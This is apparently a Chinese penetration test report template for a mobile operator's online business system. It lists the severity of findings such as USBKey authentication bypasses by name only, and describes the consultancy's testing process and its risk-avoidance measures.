渗透测试测试报告

合集下载

渗透检测报告doc

渗透检测报告doc

渗透检测报告引言概述:渗透测试是一种通过模拟攻击手段,探测目标系统的安全漏洞的方法。

本报告对某个具体系统进行了渗透测试,并了发现的漏洞以及建议的修复措施。

通过本报告的阅读,您将了解系统中存在的安全问题,并能够采取相应的措施加强系统的安全性。

正文内容:一、网络扫描1.1系统信息收集:通过使用各种工具和技术,获取目标系统的IP地质、域名等基本信息。

1.2端口扫描:使用网络扫描工具,对目标系统进行端口扫描,发现了开放的服务和应用程序。

1.3服务识别:对每个开放的端口进行扫描并识别,确认目标系统上运行的具体服务和版本信息。

1.4漏洞扫描:通过使用漏洞扫描工具,对目标系统进行漏洞扫描,发现系统存在的漏洞。

二、身份认证测试2.1弱口令测试:使用字典文件和暴力破解工具,尝试猜解目标系统的用户名和密码,并发现了存在弱口令的账户。

2.2身份认证绕过:测试系统中是否存在可以绕过身份认证的漏洞,发现了存在绕过身份认证的漏洞。

三、应用程序测试3.1注入漏洞测试:测试系统中是否存在SQL注入漏洞,发现了存在SQL注入漏洞的页面。

3.2跨站脚本(XSS)测试:测试系统是否存在XSS漏洞,发现了存在XSS漏洞的页面。

3.3文件漏洞测试:测试系统中是否存在文件漏洞,发现了存在文件漏洞的功能模块。

四、访问控制测试4.1目录遍历测试:测试系统中是否存在目录遍历漏洞,发现了存在目录遍历漏洞的情况。

4.2权限提升测试:测试系统中是否存在权限提升漏洞,发现了存在权限提升漏洞的情况。

4.3会话管理测试:测试系统的会话管理机制是否安全,发现了会话管理漏洞。

五、物理安全测试5.1无线网络测试:测试目标系统周围无线网络的安全性,发现了存在未加密的无线网络。

5.2进入实际环境测试:模拟攻击者进行未经授权的物理接触,检验目标系统的物理安全性。

总结:本报告了对目标系统的渗透测试所发现的安全漏洞,并提供了相应的修复建议。

在实施这些修复措施之前,应仔细评估每个漏洞的严重程度,并根据具体情况来决定修复的优先级。

土的渗透试验实验报告(共9篇)

土的渗透试验实验报告(共9篇)

土的渗透试验实验报告(共9篇)一、介绍土渗透试验是土壤工程中常见的测试方法,用于研究土的渗透性和渗透系数,这些信息对于安全可靠的建设,如水工、桥梁、高层建筑,都具有重要意义。

很多土方试验通常都会考虑到其渗透性,所以土渗透试验受到了广泛的应用。

二、试验方法1、采样:将土样在试验前进行集中加压,然后用空心钻头采取土样数量,并使样土略微浸润湿,让它再次加压,以确保试验时水分挥发后土样的容量不会发生改变。

2、装配装置:将静水压测试装置组装完毕,并用胶制尿素将试验装置的内表面润湿、用干燥剂防止水分挥发,并将试件放入加压管中,用胶带密封尽可能完全密闭;3、开展渗透试验:启动油泵,使水压升至设定值,试验维持30分钟,启动计算器,记录压力变化;4、计算渗透系数:取渗透试验结束后30分钟之间压力变化率,并根据试验数据计算渗透系数,得出结论。

三、安全措施1、在实验前,严格按照规定进行安排,确保安全;2、实验操作要注意安全,不能擅自拆动仪器;3、试验应保持室温恒定,应注意防止测量时水分太多或太少;4、试验过程中土样内的水压不可超过试件负荷容量,避免土样试件受损;5、土样完成实验后应及时收回,以防土样因潮温变化而引起变形。

四、结果根据本次试验得到的数据,可以计算出试件的渗透系数为1.22×10-10m/s,说明试件的渗透性较差,渗透速率较慢。

五、讨论根据本次的渗透试验可以看出,被测土的渗透性较差,渗透速率较慢。

根据试验结果,可以推断出土的密实程度非常高,或者其中存在的有相当多的矿物质,将水分阻止在土层中不能流动。

六、结论七、参考文献[1]熊浩.土工试验学[M].北京:北京理工大学出版社,2010八、致谢在此,我们衷心感谢领导在本次渗透实验中给与的指导和帮助。

九、附录(图表列出)。

渗透 实验报告

渗透 实验报告

渗透实验报告渗透实验报告一、引言渗透测试是一种通过模拟黑客攻击来评估系统安全性的方法。

本实验旨在通过渗透测试手段,评估目标系统的安全性,并提供相应的改进建议。

二、目标系统介绍目标系统为一家虚拟银行的网络系统,包括前端网站、后台数据库和服务器。

该系统用于处理用户的银行业务,包括转账、存款、查询等。

三、信息收集在进行渗透测试之前,我们首先进行了信息收集。

通过搜索引擎、社交媒体和WHOIS查询等方式,我们获取了目标系统的IP地址、域名、服务器类型等信息。

四、漏洞扫描基于信息收集的结果,我们使用漏洞扫描工具对目标系统进行了扫描。

扫描结果显示,目标系统存在以下漏洞:1. SQL注入漏洞:在用户登录页面的用户名和密码输入框中,存在未过滤的特殊字符,攻击者可以通过构造恶意的输入,绕过身份验证,获取敏感信息。

2. XSS漏洞:目标系统的前端网站存在未过滤的用户输入,攻击者可以通过插入恶意脚本,获取用户的敏感信息或进行恶意操作。

3. 未授权访问漏洞:目标系统的某些文件和目录没有正确设置访问权限,攻击者可以直接访问敏感文件,获取系统信息或进行恶意操作。

五、渗透测试基于漏洞扫描结果,我们进行了渗透测试。

具体步骤如下:1. SQL注入攻击:我们使用常见的SQL注入技术,尝试绕过登录页面的身份验证。

通过构造恶意的SQL语句,我们成功绕过了身份验证,获取了管理员账户的用户名和密码。

2. XSS攻击:我们在目标系统的某个输入框中插入了恶意脚本,并触发了XSS 漏洞。

通过该漏洞,我们成功获取了用户的Cookie信息。

3. 未授权访问攻击:我们发现目标系统的某个目录没有正确设置访问权限。

通过直接访问该目录,我们成功获取了系统的配置文件,包括数据库的用户名和密码。

六、结果分析通过渗透测试,我们发现目标系统存在严重的安全漏洞,攻击者可以通过利用这些漏洞,获取用户的敏感信息、篡改数据甚至控制系统。

七、改进建议基于测试结果,我们提出以下改进建议:1. 修复SQL注入漏洞:在用户输入验证的过程中,应该对特殊字符进行过滤和转义,防止恶意SQL语句的注入。

渗透测试报告

渗透测试报告

渗透测试报告渗透测试报告一、概述此次渗透测试是在客户的委托下进行的,旨在测试该客户系统在未经授权的攻击下的安全性。

测试团队采用黑盒测试手段,尝试找到系统中的漏洞并利用其进行攻击,以评估系统对潜在威胁的抵抗能力。

二、测试过程1.信息收集测试团队通过搜索引擎、WHOIS查询、社交媒体等手段获取了关于客户系统的基础信息。

测试团队还利用端口扫描、漏洞扫描等手段对客户系统进行了进一步的信息收集。

2.漏洞探测测试团队针对收集到的信息利用各种技术手段进行了漏洞探测。

测试中发现了一个未被修复的SQL注入漏洞,针对该漏洞测试团队成功地获取了敏感数据。

3.漏洞利用测试团队利用发现的漏洞进行了攻击,并成功地获取了敏感数据。

同时,测试团队也进行了多种攻击尝试,例如暴力破解密码、社会工程学等攻击方式,但均未成功。

4.安全评估测试团队根据测试结果对系统的安全情况进行了全面评估,并提出了相应的建议和措施来提高系统的安全性。

三、测试结果1.系统存在一个未被修复的SQL注入漏洞,攻击者可以利用该漏洞获取敏感数据。

2.系统其他方面表现出较高的安全性,测试团队加大攻击力度也未能获得任何敏感信息。

3.测试团队建议客户对系统漏洞进行修复,并加强安全策略,以提高系统的安全性。

四、建议措施1.应该对系统进行彻底的漏洞修复,尤其是针对已发现的SQL注入漏洞。

2.为系统设置强的密码策略,并定期更改管理员账户的密码。

3.加强对系统的监控和日志记录,及时发现和处理潜在的安全威胁。

4.进行员工安全意识培训,加强员工安全意识。

五、结论此次渗透测试发现客户系统存在一个重要漏洞,但在其他方面系统的安全性较高。

测试团队提出的建议措施可以为客户提供一个更加安全的系统。

渗透测试报告

渗透测试报告

渗透测试报告一、引言。

渗透测试是一种通过模拟攻击者的方式来评估计算机系统、网络或应用程序的安全性的方法。

本报告旨在对某公司的网络系统进行渗透测试,并对测试结果进行详细分析和总结。

二、测试目标。

本次渗透测试的目标是公司的内部网络系统,包括服务器、数据库、防火墙、路由器等各种网络设备和应用程序。

通过对这些系统的渗透测试,可以全面评估公司网络的安全性,发现潜在的安全漏洞,并提出相应的改进建议。

三、测试方法。

1. 信息收集,通过搜索引擎、社交网络、WHOIS数据库等方式,获取公司的相关信息,包括域名、IP地址、员工信息等。

2. 漏洞扫描,利用专业的漏洞扫描工具对公司的网络系统进行扫描,发现可能存在的安全漏洞。

3. 渗透测试,通过模拟攻击者的方式,尝试对公司的网络系统进行渗透,获取未授权的访问权限,并尝试获取敏感信息。

4. 漏洞利用,对已发现的安全漏洞进行利用,验证漏洞的危害程度,并提出相应的修复建议。

五、测试结果。

1. 信息收集阶段,通过对公司的域名、IP地址等信息的收集,发现公司的部分信息存在泄露风险,建议公司加强对信息的保护和管理。

2. 漏洞扫描阶段,在漏洞扫描过程中,发现公司的某些服务器存在较为严重的安全漏洞,如未及时更新的操作系统、未修补的软件漏洞等。

3. 渗透测试阶段,通过渗透测试,成功获取了部分系统的未授权访问权限,并获取了部分敏感信息,说明公司网络系统存在严重的安全问题。

4. 漏洞利用阶段,对已发现的安全漏洞进行利用,验证漏洞的危害程度,并提出相应的修复建议。

六、改进建议。

1. 及时更新系统和软件,建议公司及时更新服务器和应用程序的操作系统和软件,安装最新的安全补丁,以防止已知的安全漏洞被攻击者利用。

2. 强化访问控制,建议公司加强对网络系统的访问控制,限制员工的访问权限,避免敏感信息的泄露。

3. 定期进行安全审计,建议公司定期进行安全审计,发现并修复潜在的安全问题,提高网络系统的安全性。

渗透测试报告

渗透测试报告

渗透测试报告渗透测试报告一、测试背景本次渗透测试是针对某企业网站的安全测试。

该企业是一家中小型企业,主要业务为提供数字化解决方案服务。

二、测试目标1.测试目标为企业网站的Web应用程序及网络安全。

2.测试过程目的在于发现并提供可操作的安全漏洞信息,制定完善的安全策略和建立安全意识,提高企业信息系统的安全性,保护企业的信息资产。

三、测试范围1.对企业网站的Web应用程序进行测试。

2.测试范围包括但不限于SQL注入漏洞、XSS跨站脚本攻击、文件上传漏洞、信息泄露、弱口令等安全问题。

四、测试方法本次测试采用黑盒测试方法,模拟黑客攻击思路。

测试人员通过模拟攻击方式来寻找漏洞,尝试获取未授权的信息和访问未授权的资源。

五、测试结果经过测试,我们发现了以下问题:1. SQL注入漏洞:通过测试我们发现网站存在SQL注入漏洞,攻击者可以通过注入恶意代码获取数据库敏感信息。

2. XSS跨站脚本攻击漏洞:测试人员发现网站存在XSS 跨站脚本攻击漏洞,攻击者可以通过注入脚本获取用户的敏感信息。

3. 文件上传漏洞:测试人员通过上传含有恶意代码的文件,成功获取了对服务器的控制权限。

4. 信息泄露:测试人员针对网站的目录结构进行扫描,发现了目录遍历漏洞,可以获取到网站服务器的一些重要信息。

5. 弱口令:测试人员发现网站中存在弱口令,易被攻击者获取,从而危及网站的安全。

六、建议与解决方案鉴于发现的漏洞,在测试报告中给出以下的建议与解决方案:1.针对SQL注入漏洞,需要对代码进行彻底的过滤与校验,并建议AI防护系统的部署。

2.针对XSS跨站脚本攻击漏洞,建议对Web前端进行加密,并禁止用户输入脚本或特殊字符,有效阻止攻击者对Web服务器的攻击。

3.针对文件上传漏洞,应限制上传文件的类型,强化文件过滤策略,及时修补并更新上传控件程序。

4.信息泄露漏洞的解决建议:完善服务器的安全性,及时更新升级补丁,并加强访问权限的控制。

5. 针对弱口令漏洞,应强制用户设置复杂的密码,并采用两步验证等高级安全措施。

渗透测试 实验报告 (中国移动安全部)

渗透测试 实验报告  (中国移动安全部)

渗透测试培训3月13日第一天:主要实验总结首先利用struts2漏洞,可以直接执行任意命令,取得主机控制权。

实验环境:KALI linux 作为攻击工具;owasp 作为靶机2003 metaspoitable 实现能够成功访问使用metaspliot完成对于靶机samba 服务的攻击,获取shell 权限search samba 查找模块Use multi/samba/usemap_script 选择渗透攻击模块Show payloads 查看与该渗透模块相兼容的攻击载荷Set payload cmd/unix/bind_netcat选择netcat工具在渗透攻击成功后执行shellShow options 查看需要设置的参数Set RHOST 10.10.10.254 设置主机攻击主机Exploit启动攻击1、首先安装vm虚拟机程序,开启kali,owasp和metaspoitalbe等工具和搭建环境,使得网络可达,网络配置上选择nat模式,地址范围为10.10.10.0/242、开启kali虚机,进入root模式,首先进入msfconsle,修改初始密码为123456msf〉> passwd[*] exec: passwd输入新的UNIX 密码:重新输入新的UNIX 密码:passwd:已成功更新密码然后寻找samba模块msf > search sambaMatching Modules================Name Disclosure Date Rank Description---- --------------- ---- ----------- auxiliary/admin/smb/samba_symlink_traversal normal Samba Symlink Directory Traversalauxiliary/dos/samba/lsa_addprivs_heap normal Samba lsa_io_privilege_set Heap Overflowauxiliary/dos/samba/lsa_transnames_heap normal Samba lsa_io_trans_names Heap Overflowauxiliary/dos/samba/read_nttrans_ea_list normal Samba read_nttrans_ea_list Integer Overflowexploit/freebsd/samba/trans2open 2003-04-07 great Samba trans2open Overflow (*BSD x86)exploit/linux/samba/chain_reply 2010-06-16 good Samba chain_reply Memory Corruption (Linux x86)exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Samba lsa_io_trans_names Heap Overflowexploit/linux/samba/setinfopolicy_heap 2012-04-10 normal Samba SetInformationPolicy AuditEventsInfo Heap Overflowexploit/linux/samba/trans2open 2003-04-07 great Samba trans2open Overflow (Linux x86)exploit/multi/samba/nttrans 2003-04-07 average Samba 2.2.2 - 2.2.6 nttrans Buffer Overflowexploit/multi/samba/usermap_script 2007-05-14 excellent Samba "username map script" Command Executionexploit/osx/samba/lsa_transnames_heap 2007-05-14 average Samba lsa_io_trans_names Heap Overflowexploit/osx/samba/trans2open 2003-04-07 great Samba trans2open Overflow (Mac OS X PPC)exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average Samba lsa_io_trans_names Heap Overflowexploit/solaris/samba/trans2open 2003-04-07 great Samba trans2open Overflow (Solaris SPARC)exploit/unix/misc/distcc_exec 2002-02-01 excellent DistCC Daemon Command Executionexploit/unix/webapp/citrix_access_gateway_exec 2010-12-21 excellent Citrix Access Gateway Command Executionexploit/windows/http/sambar6_search_results 2003-06-21 normal Sambar 6 Search Results Buffer Overflowexploit/windows/license/calicclnt_getconfig 2005-03-02 average Computer Associates License Client GETCONFIG Overflowpost/linux/gather/enum_configs normal Linux Gather Configurationsmsf > use multi/samba/usermap_script 选择渗透攻击模块msf exploit(usermap_script) > show payloads 查看与该渗透模块相兼容的攻击载荷Compatible Payloads===================Name Disclosure Date Rank Description---- --------------- ---- -----------cmd/unix/bind_awk normal Unix Command Shell, Bind TCP (via AWK)cmd/unix/bind_inetd normal Unix Command Shell, Bind TCP (inetd)cmd/unix/bind_lua normal Unix Command Shell, Bind TCP (via Lua)cmd/unix/bind_netcat normal Unix Command Shell, Bind TCP (via netcat)cmd/unix/bind_netcat_gaping normal Unix Command Shell, Bind TCP (via netcat -e)cmd/unix/bind_netcat_gaping_ipv6 normal Unix Command Shell, Bind TCP (via netcat -e) IPv6cmd/unix/bind_perl normal Unix Command Shell, Bind TCP (via Perl)cmd/unix/bind_perl_ipv6 normal Unix Command Shell, Bind TCP (via perl) IPv6cmd/unix/bind_ruby normal Unix Command Shell, Bind TCP (via Ruby)cmd/unix/bind_ruby_ipv6 normal Unix Command Shell, Bind TCP (via Ruby) IPv6cmd/unix/bind_zsh normal Unix Command Shell, Bind TCP (via Zsh)cmd/unix/generic normal Unix Command, Generic Command Executioncmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)cmd/unix/reverse_awk normal Unix Command Shell, Reverse TCP (via AWK)cmd/unix/reverse_lua normal Unix Command Shell, Reverse TCP (via Lua)cmd/unix/reverse_netcat normal Unix Command Shell, Reverse TCP (via netcat)cmd/unix/reverse_netcat_gaping normal Unix Command Shell, Reverse TCP (via netcat -e)cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)cmd/unix/reverse_perl normal Unix Command Shell, Reverse TCP (via Perl)cmd/unix/reverse_perl_ssl normal Unix Command Shell, Reverse TCP SSL (via perl)cmd/unix/reverse_php_ssl normal Unix Command Shell, Reverse TCP SSL (via php)cmd/unix/reverse_python normal Unix Command Shell, Reverse TCP (via Python)cmd/unix/reverse_python_ssl normal Unix Command Shell, Reverse TCP SSL (via python)cmd/unix/reverse_ruby normal Unix Command Shell, Reverse TCP (via Ruby)cmd/unix/reverse_ruby_ssl normal Unix Command Shell, Reverse TCP SSL (via Ruby)cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)cmd/unix/reverse_zsh normal Unix Command Shell, Reverse TCP (via Zsh)msf exploit(usermap_script) > set payload cmd/unix/bind_netcat 选择netcat工具在渗透攻击成功后执行shellpayload => cmd/unix/bind_netcatmsf exploit(usermap_script) > show options 查看需要设置的参数msf exploit(usermap_script) > set RHOST 10.10.10.254设置主机攻击主机RHOST => 10.10.10.254msf exploit(usermap_script) > exploit启动攻击[*] Started bind handler[*] Command shell session 1 opened (10.10.10.128:56558 -> 10.10.10.254:4444) at 2015-03-13 16:06:40 +0800已经取得10.10.10.254机子的控制权,可以增加用户useradd test 用户增加成功&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 存活探测-PU -sn UDP ping不列服务,-Pn不适用pingnmap -sS -Pn xx.xx.xx.xx tcp syn 扫描不发送icmpnamp -sV -Pn xx.xx.xx.xx 列出服务详细信息namp -PO -script=smb-check-vulns xx.xx.xx.xx 查找ms-08067漏洞&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&nmap 网站扫描msf > nmapmsf > nmap -sV -Pn 10.10.10.254[*] exec: nmap -sV -Pn 10.10.10.254Starting Nmap 6.46 ( ) at 2015-03-13 16:38 CSTNmap scan report for 10.10.10.254Host is up (0.00020s latency).All 1000 scanned ports on 10.10.10.254 are filteredMAC Address: 00:50:56:E7:1B:31 (VMware)Service detection performed. Please report any incorrect results at /submit/ . Nmap done: 1 IP address (1 host up) scanned in 22.84 secondsmsf > nmap -PO -script=smb-check-vulns 10.10.10.254[*] exec: nmap -PO -script=smb-check-vulns 10.10.10.254Starting Nmap 6.46 ( ) at 2015-03-13 16:47 CSTNmap scan report for 10.10.10.254Host is up (0.00021s latency).All 1000 scanned ports on 10.10.10.254 are filteredMAC Address: 00:50:56:E7:1B:31 (VMware)map done: 1 IP address (1 host up) scanned in 23.06 seconds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%msf > nmap -O [*] exec: nmap -O Starting Nmap 6.46 ( ) at 2015-03-13 17:16 CSTNmap scan report for (211.100.35.132)Host is up (0.0054s latency).Not shown: 999 filtered portsPORT STATE SERVICE80/tcp open httpWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portAggressive OS guesses: Brother MFC-7820N printer (94%), Digi Connect ME serial-to-Ethernet bridge (94%), Netgear SC101 Storage Central NAS device (91%), ShoreTel ShoreGear-T1 VoIP switch (91%), Aastra 480i IP Phone or Sun Remote System Control (RSC) (91%), Aastra 6731i VoIP phone or Apple AirPort Express WAP (91%), Cisco Wireless IP Phone 7920-ETSI (91%), GoPro HERO3 camera (91%), Konica Minolta bizhub 250 printer (91%), Linux 2.4.26 (Slackware 10.0.0) (86%)No exact OS matches for host (test conditions non-ideal).OS detection performed. Please report any incorrect results at /submit/ .Nmap done: 1 IP address (1 host up) scanned in 57.88 secondsmsf > use auxiliary/scanner/http/dir_scannermsf auxiliary(dir_scanner) > set THREADS 50THREADS => 50msf auxiliary(dir_scanner) > set RHOSTS RHOSTS => msf auxiliary(dir_scanner) > run[*] Detecting error code[*] Detecting error code[*] Scanned 2 of 2 hosts (100% complete)[*] Auxiliary module execution completedsqlmap 检查sql注入的漏洞root@kali:~# sqlmaproot@kali:~# sqlmap -u "http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=lu1d2nfdvfkgkc8fa628c0vh23"带cookie的方式查出这个网站数据库的用户和密码sqlmap/1.0-dev - automatic SQL injection and database takeover tool[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 11:50:20[11:50:20] [INFO] testing connection to the target URL[11:50:20] [INFO] testing if the target URL is stable. This can take a couple of seconds[11:50:21] [INFO] target URL is stable[11:50:21] [INFO] testing if GET parameter 'id' is dynamic[11:50:21] [INFO] confirming that GET parameter 'id' is dynamic[11:50:21] [INFO] GET parameter 'id' is dynamic[11:50:21] [INFO] heuristics detected web page charset 'ascii'[11:50:21] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')[11:50:21] [INFO] testing for SQL injection on GET parameter 'id'heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] ydo you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] y [11:50:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[11:50:25] [WARNING] reflective value(s) found and filtering out[11:50:25] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable[11:50:25] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'[11:50:25] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable[11:50:25] [INFO] testing 'MySQL inline queries'[11:50:25] [INFO] testing 'MySQL > 5.0.11 stacked queries'[11:50:25] [WARNING] time-based comparison requires larger statistical model, please wait...........[11:50:25] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'[11:50:25] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'[11:50:36] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based blind' injectable[11:50:36] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'[11:50:36] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found[11:50:36] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test[11:50:36] [INFO] target URL appears to have 2 columns in query[11:50:36] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection points with a total of 41 HTTP(s) requests:---Place: GETParameter: idType: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1' AND 4334=4334 AND 'iasX'='iasX&Submit=SubmitType: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE or HAVING clausePayload: id=1' AND (SELECT 4941 FROM(SELECT COUNT(*),CONCAT(0x71626e6f71,(SELECT (CASE WHEN (4941=4941) THEN 1 ELSE 0 END)),0x7163716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'zAHU'='zAHU&Submit=SubmitType: UNION queryTitle: MySQL UNION query (NULL) - 2 columnsPayload: id=1' UNION ALL SELECT NULL,CONCAT(0x71626e6f71,0x4b497150534967787451,0x7163716271)#&Submit=SubmitType: AND/OR time-based blindTitle: MySQL > 5.0.11 AND time-based blindPayload: id=1' AND SLEEP(5) AND 'xfNp'='xfNp&Submit=Submit---[11:50:40] [INFO] the back-end DBMS is MySQLweb server operating system: Linux Ubuntu 10.04 (Lucid Lynx)web application technology: PHP 5.3.2, Apache 2.2.14back-end DBMS: MySQL 5.0[11:50:40] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/10.10.10.129'[*] shutting down at 11:50:40root@kali:~# sqlmap -u "http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=lu1d2nfdvfkgkc8fa628c0vh23" -p id --dbs可以看出返回数据库为:[11:53:32] [WARNING] reflective value(s) found and filtering outavailable databases [2]:[*] dvwa[*] information_schemaroot@kali:~# sqlmap -u "http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=lu1d2nfdvfkgkc8fa628c0vh23" -p id -D dvwa --tables查看dvwa数据库Database: dvwa[2 tables]+-----------+| guestbook || users |+-----------+root@kali:~# sqlmap -u "http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=lu1d2nfdvfkgkc8fa628c0vh23" -p id -D dvwa -T users --columnsDatabase: dvwaTable: users[6 columns]+------------+-------------+| Column | Type |+------------+-------------+| user | varchar(15) || avatar | varchar(70) || first_name | varchar(15) || last_name | varchar(15) || password | varchar(32) || user_id | int(6) |+------------+-------------+root@kali:~# sqlmap -u "http://10.10.10.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=lu1d2nfdvfkgkc8fa628c0vh23" -p id -D dvwa -T users -C user,password --dumpDatabase: dvwaTable: users[5 entries]+---------+--------------------------------------------+| user | password |+---------+--------------------------------------------+| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) || admin | 21232f297a57a5a743894a0e4a801fc3 (admin) || gordonb | e99a18c428cb38d5f260853678922e03 (abc123) || pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 || smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |+---------+--------------------------------------------+可以看出用户名为admin 密码是admin成功2day&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&情报收集whois 域名注册信息查询。

网站的渗透测试报告

网站的渗透测试报告

网站的渗透测试报告1. 引言网站渗透测试是一种评估和验证网站安全性的技术,通过模拟黑客攻击,检测并揭示潜在的安全漏洞。

本报告将对某网站进行渗透测试,并详细记录测试过程、发现的漏洞以及建议的解决方案。

2. 测试范围本次渗透测试针对网站名称的公开网站进行,包括前端和后端部分。

测试包括但不限于以下内容:1.网站基础设施测试2.常见漏洞扫描和检测3.用户权限控制测试4.SQL注入测试5.跨站脚本攻击(XSS)测试6.文件上传和下载测试7.敏感信息泄露测试3. 测试方法本次渗透测试采用了以下一些常见的测试方法和工具:•端口扫描:使用Nmap工具对目标网站进行端口扫描,以识别开放的服务和可能的漏洞。

•Web应用扫描:使用OWASP ZAP和Burp Suite工具对网站进行漏洞扫描,检查是否存在常见的Web安全漏洞。

•密码爆破:使用Hydra工具对登录界面进行暴力破解,检查密码强度和防护措施。

•SQL注入:使用SQLMap工具对网站进行SQL注入测试,检测是否存在SQL注入漏洞。

•XSS测试:使用XSStrike工具对网站进行跨站脚本攻击测试,检测是否存在XSS漏洞。

4. 测试结果经过测试,我们发现了以下安全漏洞:4.1 用户权限控制不足网站的用户权限控制存在不足,用户在进行某些敏感操作时,未进行适当的权限验证。

这可能导致未授权的用户执行特权操作,并访问到不应该暴露的敏感信息。

4.2 SQL注入漏洞在某些页面中,我们发现了可能存在的SQL注入漏洞。

攻击者可以利用这些漏洞直接修改查询语句,绕过登录验证,甚至获取到数据库中的敏感信息。

4.3 跨站脚本攻击漏洞部分页面未过滤用户输入的特殊字符,导致存在跨站脚本攻击(XSS)漏洞。

攻击者可以通过构造恶意代码注入到页面中,获取用户的敏感信息或进行其他恶意操作。

4.4 文件上传漏洞在上传文件的功能中,我们发现了可能存在的文件上传漏洞。

攻击者可以上传包含恶意代码的文件,从而执行任意代码或者破坏网站的完整性。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

XX 移动 XXX 系统渗透测试报告■ 版本变更记录时间版本说明修改人目录附录 A 威胁程度分级 ............................................................... 附录 B 相关资料 ...................................................................一. 摘要经 XXX 的授权,XX 科技渗透测试小组对 XXX 下属 XXX 系统证书版进行了渗透测试。

测试 结果如下:严重问题:4 个中等问题:1 个轻度问题:1 个图 1.1 安全风险分布图详细内容如下表:表 1.1 发现问题详细内容问题等级 种类 数量名称1 个 登录 XXX 系统 USBKey 认证可绕过漏洞1 个 转账汇款 USBKey 认证可绕过漏洞 严重问题 4 种1 个 转账汇款数字签名设计缺陷1 个 输入验证机制设计缺陷中等问题 1 种 1 个 缺少第二信道认证轻度问题 1 种 1 个 信息泄露XX 科技认为被测系统当前安全状态是:远程不安全系统二. 服务概述本次渗透测试工作是由 XX 科技的渗透测试小组独立完成的。

XX 科技渗透测试小组在 2010 年 4 月 xx 日至 2010 年 4 月 xx 日对 XXX 的新 XXX 系统进行 了远程渗透测试工作。

在此期间,XX 科技渗透测试小组利用部分前沿的攻击技术;使用成熟 的黑客攻击手段;集合软件测试技术(标准)对指定网络、系统做入侵攻击测试,希望由此 发现网站、应用系统中存在的安全漏洞和风险点。

2.1 测试流程XX 科技渗透测试服务流程定义为如下阶段: 信息收集:此阶段中,XX 科技测试人员进行必要的信息收集,如 IP 地址、DNS 记录、 软件版本信息、IP 段、Google 中的公开信息等。

渗透测试:此阶段中,XX 科技测试人员根据第一阶段获得的信息对网络、系统进行渗透 测试。

此阶段如果成功的话,可能获得普通权限。

缺陷利用:此阶段中,XX 科技测试人员尝试由普通权限提升为管理员权限,获得对系统 的完全控制权。

在时间许可的情况下,必要时从第一阶段重新进行。

成果收集:此阶段中,XX 科技测试人员对前期收集的各类弱点、漏洞等问题进行分类整 理,集中展示。

威胁分析:此阶段中,XX 科技测试人员对发现的上述问题进行威胁分类和分析其影响。

输出报告:此阶段中,XX 科技测试人员根据测试和分析的结果编写直观的渗透测试服务 报告。

信息渗透收集测试缺陷 利用成果收集循威胁环分析输出 报告图 2.1 渗透测试流程2.2 风险管理及规避为保障客户系统在渗透测试过程中稳定、安全的运转,我们将提供以下多种方式来进行 风险规避。

对象的选择 为更大程度的避免风险的产生,渗透测试还可选择对备份系统进行测试。

因为备份系统 与在线系统所安装的应用和承载的数据差异较小,而其稳定性要求又比在线系统低,因此, 选择对备份系统进行测试也是规避风险的一种常见方式。

时间的控制 从时间安排上,测试人员将将尽量避免在数据高峰时进行测试,以此来减小测试工作对 被测试系统带来的压力。

